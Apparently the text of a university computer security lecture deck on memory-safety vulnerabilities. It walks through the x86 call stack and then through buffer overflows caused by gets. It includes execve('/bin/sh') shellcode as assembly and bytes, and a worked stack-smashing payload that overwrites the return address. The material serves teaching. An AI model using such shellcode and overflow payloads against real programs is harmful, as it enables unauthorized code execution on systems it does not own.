Memory Safety Vulnerabilities
CS 161 Fall 2021 - Lecture 4
Computer Science 161
Popa and Weaver
Announcements
2
Computer Science 161
Popa and Weaver
Last Time: x86 Assembly and Call Stack
3
Computer Science 161
Popa and Weaver
Review: x86 Calling Convention
4
Textbook Chapter 2.8 & 2.9
Computer Science 161
Popa and Weaver
Review: Registers
5
Computer Science 161
Popa and Weaver
Review: Instructions
6
Computer Science 161
Popa and Weaver
Review: Saved Values on the Stack
7
Computer Science 161
Popa and Weaver
x86 Function Call
caller:
...
push $2
push $1
call callee
add $8, %esp
...
callee:
push %ebp
mov %esp, %ebp
sub $4, %esp
mov $42, %eax
mov %ebp, %esp
pop %ebp
ret
int callee(int a, int b) {� int local;� return 42;�}��void caller(void) {� callee(1, 2);�}
8
Here is a snippet of C code
Here is the code compiled into x86 assembly
Computer Science 161
Popa and Weaver
x86 Function Call
caller:
...
push $2
push $1
call callee
add $8, %esp
...
callee:
push %ebp
mov %esp, %ebp
sub $4, %esp
mov $42, %eax
mov %ebp, %esp
pop %ebp
ret
void caller(void) {� callee(1, 2);�}
9
The instruction that was just executed is in red
int callee(int a, int b) {� int local;� return 42;�}
The EIP points to the address of the next instruction!
EIP
Computer Science 161
Popa and Weaver
x86 Function Call
void caller(void) {� callee(1, 2);�}
caller:
...
push $2
push $1
call callee
add $8, %esp
...
callee:
push %ebp
mov %esp, %ebp
sub $4, %esp
mov $42, %eax
mov %ebp, %esp
pop %ebp
ret
10
|
|
|
|
|
|
|
Here is a diagram of the stack. Remember, each row represents 4 bytes (32 bits).
int callee(int a, int b) {� int local;� return 42;�}
EIP
Computer Science 161
Popa and Weaver
x86 Function Call
caller:
...
push $2
push $1
call callee
add $8, %esp
...
callee:
push %ebp
mov %esp, %ebp
sub $4, %esp
mov $42, %eax
mov %ebp, %esp
pop %ebp
ret
void caller(void) {� callee(1, 2);�}
11
caller stack frame |
|
|
|
|
|
int callee(int a, int b) {� int local;� return 42;�}
EBP
ESP
EIP
Computer Science 161
Popa and Weaver
x86 Function Call
caller:
...
push $2
push $1
call callee
add $8, %esp
...
callee:
push %ebp
mov %esp, %ebp
sub $4, %esp
mov $42, %eax
mov %ebp, %esp
pop %ebp
ret
void caller(void) {� callee(1, 2);�}
1. Push arguments on the stack
12
EBP
caller stack frame |
2 |
|
|
|
|
int callee(int a, int b) {� int local;� return 42;�}
ESP
EIP
Computer Science 161
Popa and Weaver
x86 Function Call
caller:
...
push $2
push $1
call callee
add $8, %esp
...
callee:
push %ebp
mov %esp, %ebp
sub $4, %esp
mov $42, %eax
mov %ebp, %esp
pop %ebp
ret
void caller(void) {� callee(1, 2);�}
1. Push arguments on the stack
13
caller stack frame |
2 |
1 |
|
|
|
EBP
int callee(int a, int b) {� int local;� return 42;�}
ESP
EIP
Computer Science 161
Popa and Weaver
x86 Function Call
caller:
...
push $2
push $1
call callee
add $8, %esp
...
callee:
push %ebp
mov %esp, %ebp
sub $4, %esp
mov $42, %eax
mov %ebp, %esp
pop %ebp
ret
void caller(void) {� callee(1, 2);�}
2. Push old EIP (RIP) on the stack�3. Move EIP
14
caller stack frame |
2 |
1 |
Return Instruction Pointer |
|
|
EBP
int callee(int a, int b) {� int local;� return 42;�}
ESP
EIP
Computer Science 161
Popa and Weaver
x86 Function Call
caller:
...
push $2
push $1
call callee
add $8, %esp
...
callee:
push %ebp
mov %esp, %ebp
sub $4, %esp
mov $42, %eax
mov %ebp, %esp
pop %ebp
ret
void caller(void) {� callee(1, 2);�}
15
caller stack frame |
2 |
1 |
Return Instruction Pointer |
|
|
Function prologue
EBP
int callee(int a, int b) {� int local;� return 42;�}
ESP
EIP
Computer Science 161
Popa and Weaver
x86 Function Call
caller:
...
push $2
push $1
call callee
add $8, %esp
...
callee:
push %ebp
mov %esp, %ebp
sub $4, %esp
mov $42, %eax
mov %ebp, %esp
pop %ebp
ret
void caller(void) {� callee(1, 2);�}
4. Push old EBP (SFP) on the stack
16
caller stack frame |
2 |
1 |
Return Instruction Pointer |
Saved Frame Pointer |
|
EBP
int callee(int a, int b) {� int local;� return 42;�}
ESP
EIP
Computer Science 161
Popa and Weaver
x86 Function Call
caller:
...
push $2
push $1
call callee
add $8, %esp
...
callee:
push %ebp
mov %esp, %ebp
sub $4, %esp
mov $42, %eax
mov %ebp, %esp
pop %ebp
ret
void caller(void) {� callee(1, 2);�}
5. Move EBP
17
caller stack frame |
2 |
1 |
Return Instruction Pointer |
Saved Frame Pointer |
|
EBP
ESP
int callee(int a, int b) {� int local;� return 42;�}
EIP
Computer Science 161
Popa and Weaver
x86 Function Call
caller:
...
push $2
push $1
call callee
add $8, %esp
...
callee:
push %ebp
mov %esp, %ebp
sub $4, %esp
mov $42, %eax
mov %ebp, %esp
pop %ebp
ret
void caller(void) {� callee(1, 2);�}
6. Move ESP
18
caller stack frame |
2 |
1 |
Return Instruction Pointer |
Saved Frame Pointer |
|
int callee(int a, int b) {� int local;� return 42;�}
EBP
ESP
EIP
Computer Science 161
Popa and Weaver
x86 Function Call
caller:
...
push $2
push $1
call callee
add $8, %esp
...
callee:
push %ebp
mov %esp, %ebp
sub $4, %esp
mov $42, %eax
mov %ebp, %esp
pop %ebp
ret
void caller(void) {� callee(1, 2);�}
7. Execute the function
19
caller stack frame |
2 |
1 |
Return Instruction Pointer |
Saved Frame Pointer |
local |
int callee(int a, int b) {� int local;� return 42;�}
EBP
ESP
EIP
Computer Science 161
Popa and Weaver
x86 Function Call
caller:
...
push $2
push $1
call callee
add $8, %esp
...
callee:
push %ebp
mov %esp, %ebp
sub $4, %esp
mov $42, %eax
mov %ebp, %esp
pop %ebp
ret
void caller(void) {� callee(1, 2);�}
20
caller stack frame |
2 |
1 |
Return Instruction Pointer |
Saved Frame Pointer |
local |
Function epilogue
int callee(int a, int b) {� int local;� return 42;�}
EBP
ESP
EIP
Computer Science 161
Popa and Weaver
x86 Function Call
caller:
...
push $2
push $1
call callee
add $8, %esp
...
callee:
push %ebp
mov %esp, %ebp
sub $4, %esp
mov $42, %eax
mov %ebp, %esp
pop %ebp
ret
void caller(void) {� callee(1, 2);�}
8. Move ESP
21
caller stack frame |
2 |
1 |
Return Instruction Pointer |
Saved Frame Pointer |
local |
int callee(int a, int b) {� int local;� return 42;�}
EBP
ESP
EIP
Computer Science 161
Popa and Weaver
x86 Function Call
caller:
...
push $2
push $1
call callee
add $8, %esp
...
callee:
push %ebp
mov %esp, %ebp
sub $4, %esp
mov $42, %eax
mov %ebp, %esp
pop %ebp
ret
void caller(void) {� callee(1, 2);�}
9. Pop (restore) old EBP (SFP)
22
caller stack frame |
2 |
1 |
Return Instruction Pointer |
Saved Frame Pointer |
local |
int callee(int a, int b) {� int local;� return 42;�}
EBP
ESP
EIP
Computer Science 161
Popa and Weaver
x86 Function Call
caller:
...
push $2
push $1
call callee
add $8, %esp
...
callee:
push %ebp
mov %esp, %ebp
sub $4, %esp
mov $42, %eax
mov %ebp, %esp
pop %ebp
ret
void caller(void) {� callee(1, 2);�}
11. Remove arguments from stack
23
caller stack frame |
2 |
1 |
Return Instruction Pointer |
Saved Frame Pointer |
local |
int callee(int a, int b) {� int local;� return 42;�}
EBP
ESP
EIP
Computer Science 161
Popa and Weaver
Today: Memory Safety Vulnerabilities
24
Computer Science 161
Popa and Weaver
Buffer Overflow Vulnerabilities
25
Textbook Chapter 3.1
Computer Science 161
Popa and Weaver
Consider an Airport Terminal…
26
Computer Science 161
Popa and Weaver
Consider an Airport “Terminal”…
27
Computer Science 161
Popa and Weaver
Consider an Airport “Terminal”…
28
#293 HRE-THR 850 1930
ALICE SMITH
ECONOMY
SPECIAL INSTRUX: NONE
Computer Science 161
Popa and Weaver
Consider an Airport “Terminal”…
29
Computer Science 161
Popa and Weaver
Consider an Airport “Terminal”…
30
#293 HRE-THR 850 1930
ALICE SMITH HHHHHHHHHH
HHONOMY
SPECIAL INSTRUX: NONE
How could Alice exploit this?
Computer Science 161
Popa and Weaver
Consider an Airport “Terminal”…
31
Computer Science 161
Popa and Weaver
Consider an Airport “Terminal”…
32
#293 HRE-THR 850 1930
ALICE SMITH
FIRST
SPECIAL INSTRUX: NONE
By inserting padding characters (spaces) and exploiting the lack of boundaries between lines, Alice now appears to be in first class!
Takeaway: Attackers can exploit lack of to boundaries to control areas (memory, as we will see shortly) that they aren’t supposed to control
Computer Science 161
Popa and Weaver
Buffer Overflow Vulnerabilities
33
char name[4];
name[5] = 'a';
| | | | | | a | |
name[0]
name[1]
name[2]
name[3]
name[5]
This is technically valid C code, because C doesn’t check bounds!
Computer Science 161
Popa and Weaver
Vulnerable Code
34
char name[20];
void vulnerable(void) {
...
gets(name);
...
}
The gets function will write bytes until the input contains a newline ('\n'), not when the end of the array is reached!
Okay, but there’s nothing to overwrite—for now…
Computer Science 161
Popa and Weaver
Vulnerable Code
35
char name[20];
char instrux[20] = "none";
void vulnerable(void) {
...
gets(name);
...
}
What does the memory diagram of static data look like now?
Computer Science 161
Popa and Weaver
Vulnerable Code
36
char name[20];
char instrux[20] = "none";
void vulnerable(void) {
...
gets(name);
...
}
... |
... |
... |
... |
... |
instrux |
instrux |
instrux |
instrux |
instrux |
name |
name |
name |
name |
name |
gets starts writing here and can overwrite anything above name!
What can go wrong here?
Note: name and instrux are declared in static memory (outside of the stack), which is why name is below instrux
Computer Science 161
Popa and Weaver
Vulnerable Code
37
char name[20];
int authenticated = 0;
void vulnerable(void) {
...
gets(name);
...
}
... |
... |
... |
... |
... |
... |
... |
... |
... |
authenticated |
name |
name |
name |
name |
name |
gets starts writing here and can overwrite the authenticated flag!
What can go wrong here?
Computer Science 161
Popa and Weaver
Vulnerable Code
38
char line[512];
char command[] = "/usr/bin/ls";
int main(void) {
...
gets(line);
...
execv(command, ...);
}
... |
... |
... |
... |
... |
... |
... |
... |
command |
command |
command |
line |
... |
line |
line |
What can go wrong here?
Computer Science 161
Popa and Weaver
Vulnerable Code
39
char name[20];
int (*fnptr)(void);
void vulnerable(void) {
...
gets(name);
...
fnptr();
}
... |
... |
... |
... |
... |
... |
... |
... |
... |
fnptr |
name |
name |
name |
name |
name |
fnptr is called as a function, so the EIP jumps to an address of our choosing!
What can go wrong here?
Computer Science 161
Popa and Weaver
Most Dangerous Software Weaknesses (2020)
40
Rank | ID | Name | Score |
[1] | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') | 46.82 | |
[2] | Out-of-bounds Write | 46.17 | |
[3] | Improper Input Validation | 33.47 | |
[4] | Out-of-bounds Read | 26.50 | |
[5] | Improper Restriction of Operations within the Bounds of a Memory Buffer | 23.73 | |
[6] | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') | 20.69 | |
[7] | Exposure of Sensitive Information to an Unauthorized Actor | 19.16 | |
[8] | Use After Free | 18.87 | |
[9] | Cross-Site Request Forgery (CSRF) | 17.29 | |
[10] | Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') | 16.44 | |
[11] | Integer Overflow or Wraparound | 15.81 | |
[12] | Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') | 13.67 | |
[13] | NULL Pointer Dereference | 8.35 | |
[14] | Improper Authentication | 8.17 | |
[15] | Unrestricted Upload of File with Dangerous Type | 7.38 | |
[16] | Incorrect Permission Assignment for Critical Resource | 6.95 | |
[17] | Improper Control of Generation of Code ('Code Injection') | 6.53 |
Computer Science 161
Popa and Weaver
Stack Smashing
41
Textbook Chapter 3.2
Computer Science 161
Popa and Weaver
Stack Smashing
42
Computer Science 161
Popa and Weaver
Note: Python Syntax
43
Computer Science 161
Popa and Weaver
Note: Python Syntax
44
Computer Science 161
Popa and Weaver
Overwriting the RIP
45
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
name | |||
name | |||
name |
gets starts writing here and can overwrite anything above name, including the RIP!
void vulnerable(void) {
char name[20];
gets(name);
}
Assume that the attacker wants to execute instructions at address 0xdeadbeef.
name
SFP
RIP
What should an attacker supply as input to the gets function?
What value should the attacker write in memory? Where should the value be written?
Computer Science 161
Popa and Weaver
Overwriting the RIP
46
void vulnerable(void) {
char name[20];
gets(name);
}
Note the NULL byte that terminates the string, automatically added by gets!
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
0x00 | ... | ... | ... |
0xef | 0xbe | 0xad | 0xde |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
name
SFP
RIP
Computer Science 161
Popa and Weaver
Writing Malicious Code
47
xor %eax, %eax�push %eax�push $0x68732f2f�push $0x6e69622f�mov %esp, %ebx�mov %eax, %ecx�mov %eax, %edx�mov $0xb, %al�int $0x80
0x31 0xc0 0x50 0x68 0x2f 0x2f 0x73 0x68 0x68 0x2f 0x62 0x69 0x6e 0x89 0xe3 0x89 0xc1 0x89 0xc2 0xb0 0x0b 0xcd 0x80
Assembler
Computer Science 161
Popa and Weaver
Putting Together an Attack
48
Computer Science 161
Popa and Weaver
Constructing Exploits
49
void vulnerable(void) {
char name[20];
gets(name);
}
Let SHELLCODE be a 12-byte shellcode. Assume that the address of name is 0xbfffcd40.
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
name | |||
name | |||
name |
name
SFP
RIP
0xbfffcd5c | |||
0xbfffcd58 | |||
0xbfffcd54 | |||
0xbfffcd50 | |||
0xbfffcd4c | |||
0xbfffcd48 | |||
0xbfffcd44 | |||
0xbfffcd40 |
What should an attacker supply as input to the gets function?
What values should the attacker write in memory? Where should the values be written?
Computer Science 161
Popa and Weaver
Constructing Exploits
50
0xbfffcd5c | |||
0xbfffcd58 | |||
0xbfffcd54 | |||
0xbfffcd50 | |||
0xbfffcd4c | |||
0xbfffcd48 | |||
0xbfffcd44 | |||
0xbfffcd40 |
void vulnerable(void) {
char name[20];
gets(name);
}
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
0x00 | ... | ... | ... |
0x40 | 0xcd | 0xff | 0xbf |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
SHELLCODE | |||
SHELLCODE | |||
SHELLCODE |
name
SFP
RIP
Computer Science 161
Popa and Weaver
Constructing Exploits
51
0xbfffcd5c | |||
0xbfffcd58 | |||
0xbfffcd54 | |||
0xbfffcd50 | |||
0xbfffcd4c | |||
0xbfffcd48 | |||
0xbfffcd44 | |||
0xbfffcd40 |
void vulnerable(void) {
char name[20];
gets(name);
}
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
0x00 | ... | ... | ... |
0x4c | 0xcd | 0xff | 0xbf |
SHELLCODE | |||
SHELLCODE | |||
SHELLCODE | |||
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
name
SFP
RIP
Computer Science 161
Popa and Weaver
Constructing Exploits
52
void vulnerable(void) {
char name[20];
gets(name);
}
What if the shellcode is too large? Now let SHELLCODE be a 28-byte shellcode. What should the attacker input?
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
name | |||
name | |||
name |
name
SFP
RIP
0xbfffcd5c | |||
0xbfffcd58 | |||
0xbfffcd54 | |||
0xbfffcd50 | |||
0xbfffcd4c | |||
0xbfffcd48 | |||
0xbfffcd44 | |||
0xbfffcd40 |
Computer Science 161
Popa and Weaver
Constructing Exploits
53
0xbfffcd5c | |||
0xbfffcd58 | |||
0xbfffcd54 | |||
0xbfffcd50 | |||
0xbfffcd4c | |||
0xbfffcd48 | |||
0xbfffcd44 | |||
0xbfffcd40 |
void vulnerable(void) {
char name[20];
gets(name);
}
... | ... | ... | ... |
SHELLCODE | |||
SHELLCODE | |||
SHELLCODE | |||
SHELLCODE | |||
SHELLCODE | |||
SHELLCODE | |||
SHELLCODE | |||
0x5c | 0xcd | 0xff | 0xbf |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
'A' | 'A' | 'A' | 'A' |
name
SFP
RIP
Computer Science 161
Popa and Weaver
Walking Through a Buffer Overflow
54
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
name | |||
name | |||
name | |||
... |
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Computer Science 161
Popa and Weaver
Walking Through a Buffer Overflow
55
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
name | |||
name | |||
(name) SHELLCODE | |||
... |
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Computer Science 161
Popa and Weaver
Walking Through a Buffer Overflow
56
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
name | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... |
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Computer Science 161
Popa and Weaver
Walking Through a Buffer Overflow
57
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
name | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... |
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Computer Science 161
Popa and Weaver
Walking Through a Buffer Overflow
58
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
name | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... |
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Computer Science 161
Popa and Weaver
Walking Through a Buffer Overflow
59
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
... | |||
RIP of vulnerable | |||
SFP of vulnerable | |||
(name) 'AAAA' | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... |
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Computer Science 161
Popa and Weaver
Walking Through a Buffer Overflow
60
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
... | |||
RIP of vulnerable | |||
(SFP) 'AAAA' | |||
(name) 'AAAA' | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... |
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
We overwrite the SFP (saved EBP) with 'AAAA', so the SFP is now pointing at the (probably invalid) address AAAA (0x41414141)
Computer Science 161
Popa and Weaver
Walking Through a Buffer Overflow
61
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
0x00 | ... | ||
(RIP) 0xbfffcd40 | |||
(SFP) 'AAAA' | |||
(name) 'AAAA' | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... |
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
We overwrite the RIP (saved EIP) with the address of our shellcode 0xbfffcd40, so the RIP is now pointing at our shellcode! Remember, this value will be restored to EIP (the instruction pointer) later.
Computer Science 161
Popa and Weaver
Walking Through a Buffer Overflow
62
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
0x00 | ... | ||
(RIP) 0xbfffcd40 | |||
(SFP) 'AAAA' | |||
(name) 'AAAA' | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... |
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Returning from gets: Move ESP up by 4.
Computer Science 161
Popa and Weaver
Walking Through a Buffer Overflow
63
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
0x00 | ... | ||
(RIP) 0xbfffcd40 | |||
(SFP) 'AAAA' | |||
(name) 'AAAA' | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... |
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Function epilogue: Move ESP to EBP.
Computer Science 161
Popa and Weaver
Walking Through a Buffer Overflow
64
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
0x00 | ... | ||
(RIP) 0xbfffcd40 | |||
(SFP) 'AAAA' | |||
(name) 'AAAA' | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... |
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Function epilogue: Restore the SFP into EBP. We overwrote SFP to 'AAAA', so the EBP now also points to the address 'AAAA'. We don’t really care about EBP, though.
Computer Science 161
Popa and Weaver
Walking Through a Buffer Overflow
65
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
0x00 | ... | ||
(RIP) 0xbfffcd40 | |||
(SFP) 'AAAA' | |||
(name) 'AAAA' | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... |
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
Function epilogue: Restore the RIP into EIP. We overwrote RIP to the address of shellcode, so the EIP (instruction pointer) now points to our shellcode!
Computer Science 161
Popa and Weaver
Walking Through a Buffer Overflow
66
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | ... | ... | ... |
... | |||
0x00 | ... | ||
(RIP) 0xbfffcd40 | |||
(SFP) 'AAAA' | |||
(name) 'AAAA' | |||
(name) 'AAAA' | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
(name) SHELLCODE | |||
... |
void vulnerable(void) {
char name[20];
gets(name);
}
int main(void) {
vulnerable();
return 0;
}
vulnerable:
...
call gets� addl $4, %esp
movl %ebp, %esp
popl %ebp
ret
main:
...
call vulnerable
...
EIP
EBP
ESP
Input:
SHELLCODE + 'A' * 12 + '\x40\xcd\xff\xbf'
sh # _
Computer Science 161
Popa and Weaver
Summary: x86 Function Call, Buffer Overflows
67
Computer Science 161
Popa and Weaver